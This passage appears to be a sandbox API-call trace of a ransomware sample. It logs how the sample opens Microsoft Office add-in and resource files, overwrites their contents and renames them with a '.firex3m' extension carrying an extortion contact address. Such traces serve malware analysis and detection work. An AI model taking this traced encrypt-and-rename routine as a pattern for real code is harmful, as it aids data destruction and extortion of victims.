lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.080] WriteFile (in: hFile=0x6a4, lpBuffer=0x7237dc8*, nNumberOfBytesToWrite=0x1040, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7237dc8*, lpNumberOfBytesWritten=0x5c3ff0c*=0x1040, lpOverlapped=0x0) returned 1 [0161.080] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.080] WriteFile (in: hFile=0x6a4, lpBuffer=0x7238e07*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7238e07*, lpNumberOfBytesWritten=0x5c3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0161.080] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.080] WriteFile (in: hFile=0x6a4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5c3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0161.080] CloseHandle (hObject=0x6a4) returned 1 [0161.080] GetProcessHeap () returned 0x630000 [0161.080] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7237dc8 | out: hHeap=0x630000) returned 1 [0161.081] GetProcessHeap () returned 0x630000 [0161.081] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x722d8f0 | out: hHeap=0x630000) returned 1 [0161.081] GetProcessHeap () returned 0x630000 [0161.081] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176b10 | out: hHeap=0x630000) returned 1 [0161.081] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0161.081] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ms\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5c3fcc4 | out: lpFindFileData=0x5c3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167cf4d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x25f60e4e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1074, dwReserved0=0xaec7496, dwReserved1=0x722d8e8, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d5540 [0161.081] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0161.081] Sleep (dwMilliseconds=0x1) [0161.101] SysReAllocStringLen (in: pbstr=0x5c3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.AnalysisServices.Modeler.UI.rll", len=0x78 | out: pbstr=0x5c3ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.AnalysisServices.Modeler.UI.rll") returned 1 [0161.101] GetProcessHeap () returned 0x630000 [0161.101] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2bd0) returned 0x707d3d0 [0161.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.AnalysisServices.Modeler.UI.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\microsoft.analysisservices.modeler.ui.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x704 [0161.102] CloseHandle (hObject=0x704) returned 1 [0161.102] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0161.102] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.AnalysisServices.Modeler.UI.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\microsoft.analysisservices.modeler.ui.rll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.AnalysisServices.Modeler.UI.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\microsoft.analysisservices.modeler.ui.rll.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0161.103] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0161.103] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.AnalysisServices.Modeler.UI.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5c3fc6c | out: lpFindFileData=0x5c3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0df27d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0df27d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2d78c8, dwReserved0=0x390031, dwReserved1=0x380039, cFileName="Microsoft.AnalysisServices.Modeler.UI.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MICROS~2.FIR")) returned 0x6d4f40 [0161.103] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0161.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.AnalysisServices.Modeler.UI.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\microsoft.analysisservices.modeler.ui.rll.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x704 [0161.103] GetProcessHeap () returned 0x630000 [0161.103] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7092678 [0161.104] GetProcessHeap () returned 0x630000 [0161.104] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x709daa8 [0161.104] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.104] ReadFile (in: hFile=0x704, lpBuffer=0x7092678, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7092678*, lpNumberOfBytesRead=0x5c3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0166.646] GetProcessHeap () returned 0x630000 [0166.646] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feeb70 [0166.646] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.646] WriteFile (in: hFile=0x704, lpBuffer=0x709daa8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x709daa8*, lpNumberOfBytesWritten=0x5c3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0166.646] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.646] WriteFile (in: hFile=0x704, lpBuffer=0x70a8ea7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70a8ea7*, lpNumberOfBytesWritten=0x5c3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0166.648] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.648] WriteFile (in: hFile=0x704, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5c3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0166.648] CloseHandle (hObject=0x704) returned 1 [0166.648] GetProcessHeap () returned 0x630000 [0166.648] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x709daa8 | out: hHeap=0x630000) returned 1 [0166.648] GetProcessHeap () returned 0x630000 [0166.648] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7092678 | out: hHeap=0x630000) returned 1 [0166.648] GetProcessHeap () returned 0x630000 [0166.648] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feeb70 | out: hHeap=0x630000) returned 1 [0166.649] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0166.649] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.AnalysisServices.Modeler.UI.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5c3fcc4 | out: lpFindFileData=0x5c3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0df27d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0df27d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x29464d7e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2d78ec, dwReserved0=0xaec7496, dwReserved1=0x7092670, cFileName="Microsoft.AnalysisServices.Modeler.UI.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MICROS~2.FIR")) returned 0x6d5280 [0166.652] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0166.652] Sleep (dwMilliseconds=0x1) [0166.666] SysReAllocStringLen (in: pbstr=0x5c3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sl\\PowerViewRes.sl.xap", len=0x65 | out: pbstr=0x5c3ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sl\\PowerViewRes.sl.xap") returned 1 [0166.666] GetProcessHeap () returned 0x630000 [0166.666] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2b90) returned 0x707d3d0 [0166.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sl\\PowerViewRes.sl.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\sl\\powerviewres.sl.xap"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x704 [0166.666] CloseHandle (hObject=0x704) returned 1 [0166.667] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0166.667] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sl\\PowerViewRes.sl.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\sl\\powerviewres.sl.xap"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sl\\PowerViewRes.sl.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\sl\\powerviewres.sl.xap.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0166.667] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0166.668] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sl\\PowerViewRes.sl.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5c3fc6c | out: lpFindFileData=0x5c3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15e45dad, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15e45dad, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15e6c018, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f8bf, dwReserved0=0x73002d, dwReserved1=0x700075, cFileName="PowerViewRes.sl.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d5280 [0166.668] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0166.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sl\\PowerViewRes.sl.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\sl\\powerviewres.sl.xap.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x704 [0166.668] GetProcessHeap () returned 0x630000 [0166.668] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71803a8 [0166.669] GetProcessHeap () returned 0x630000 [0166.669] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x718b7d8 [0166.669] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.669] ReadFile (in: hFile=0x704, lpBuffer=0x71803a8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71803a8*, lpNumberOfBytesRead=0x5c3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0173.699] GetProcessHeap () returned 0x630000 [0173.700] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7177a60 [0173.700] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.700] WriteFile (in: hFile=0x704, lpBuffer=0x718b7d8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x718b7d8*, lpNumberOfBytesWritten=0x5c3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0173.701] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.701] WriteFile (in: hFile=0x704, lpBuffer=0x7196bd7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7196bd7*, lpNumberOfBytesWritten=0x5c3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0173.703] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.703] WriteFile (in: hFile=0x704, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5c3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0173.703] CloseHandle (hObject=0x704) returned 1 [0173.703] GetProcessHeap () returned 0x630000 [0173.703] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x718b7d8 | out: hHeap=0x630000) returned 1 [0173.703] GetProcessHeap () returned 0x630000 [0173.703] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71803a8 | out: hHeap=0x630000) returned 1 [0173.704] GetProcessHeap () returned 0x630000 [0173.704] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177a60 | out: hHeap=0x630000) returned 1 [0173.704] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0173.704] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sl\\PowerViewRes.sl.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5c3fcc4 | out: lpFindFileData=0x5c3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15e45dad, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15e45dad, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2d7b6101, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4f8e3, dwReserved0=0xaec7496, dwReserved1=0x71803a0, cFileName="PowerViewRes.sl.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d5000 [0173.704] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0173.704] Sleep (dwMilliseconds=0x1) [0173.709] SysReAllocStringLen (in: pbstr=0x5c3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\he\\PowerViewRes.he.xap", len=0x65 | out: pbstr=0x5c3ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\he\\PowerViewRes.he.xap") returned 1 [0173.709] GetProcessHeap () returned 0x630000 [0173.709] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2b4c) returned 0x707d3d0 [0173.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\he\\PowerViewRes.he.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\he\\powerviewres.he.xap"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x704 [0173.710] CloseHandle (hObject=0x704) returned 1 [0173.710] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0173.710] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\he\\PowerViewRes.he.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\he\\powerviewres.he.xap"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\he\\PowerViewRes.he.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\he\\powerviewres.he.xap.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0173.711] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0173.712] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\he\\PowerViewRes.he.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5c3fc6c | out: lpFindFileData=0x5c3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x13a8299e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x13a8299e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13aa8b23, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4fd42, dwReserved0=0x73002d, dwReserved1=0x700075, cFileName="PowerViewRes.he.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d5280 [0173.712] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0173.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\he\\PowerViewRes.he.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\he\\powerviewres.he.xap.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x704 [0173.712] GetProcessHeap () returned 0x630000 [0173.712] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6fabfe8 [0173.712] GetProcessHeap () returned 0x630000 [0173.712] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71d5490 [0173.712] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.712] ReadFile (in: hFile=0x704, lpBuffer=0x6fabfe8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fabfe8*, lpNumberOfBytesRead=0x5c3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0183.960] GetProcessHeap () returned 0x630000 [0183.960] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7316e60 [0183.961] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.961] WriteFile (in: hFile=0x704, lpBuffer=0x71d5490*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71d5490*, lpNumberOfBytesWritten=0x5c3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0184.176] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.177] WriteFile (in: hFile=0x704, lpBuffer=0x71e088f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71e088f*, lpNumberOfBytesWritten=0x5c3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0184.179] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.179] WriteFile (in: hFile=0x704, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5c3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0184.179] CloseHandle (hObject=0x704) returned 1 [0184.180] GetProcessHeap () returned 0x630000 [0184.180] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71d5490 | out: hHeap=0x630000) returned 1 [0184.180] GetProcessHeap () returned 0x630000 [0184.180] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fabfe8 | out: hHeap=0x630000) returned 1 [0184.181] GetProcessHeap () returned 0x630000 [0184.181] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7316e60 | out: hHeap=0x630000) returned 1 [0184.181] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0184.181] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\he\\PowerViewRes.he.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5c3fcc4 | out: lpFindFileData=0x5c3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x13a8299e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x13a8299e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x33b98bb7, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4fd66, dwReserved0=0xaec7496, dwReserved1=0x6fabfe0, cFileName="PowerViewRes.he.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d5480 [0184.181] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0184.182] Sleep (dwMilliseconds=0x1) [0186.068] SysReAllocStringLen (in: pbstr=0x5c3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ROSE.CSS", len=0x3d | out: pbstr=0x5c3ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ROSE.CSS") returned 1 [0186.068] GetProcessHeap () returned 0x630000 [0186.068] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x29e0) returned 0x707d3d0 [0186.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ROSE.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\rose.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0186.106] CloseHandle (hObject=0x42c) returned 1 [0186.106] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0186.106] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ROSE.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\rose.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ROSE.CSS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\rose.css.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0186.107] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0186.107] 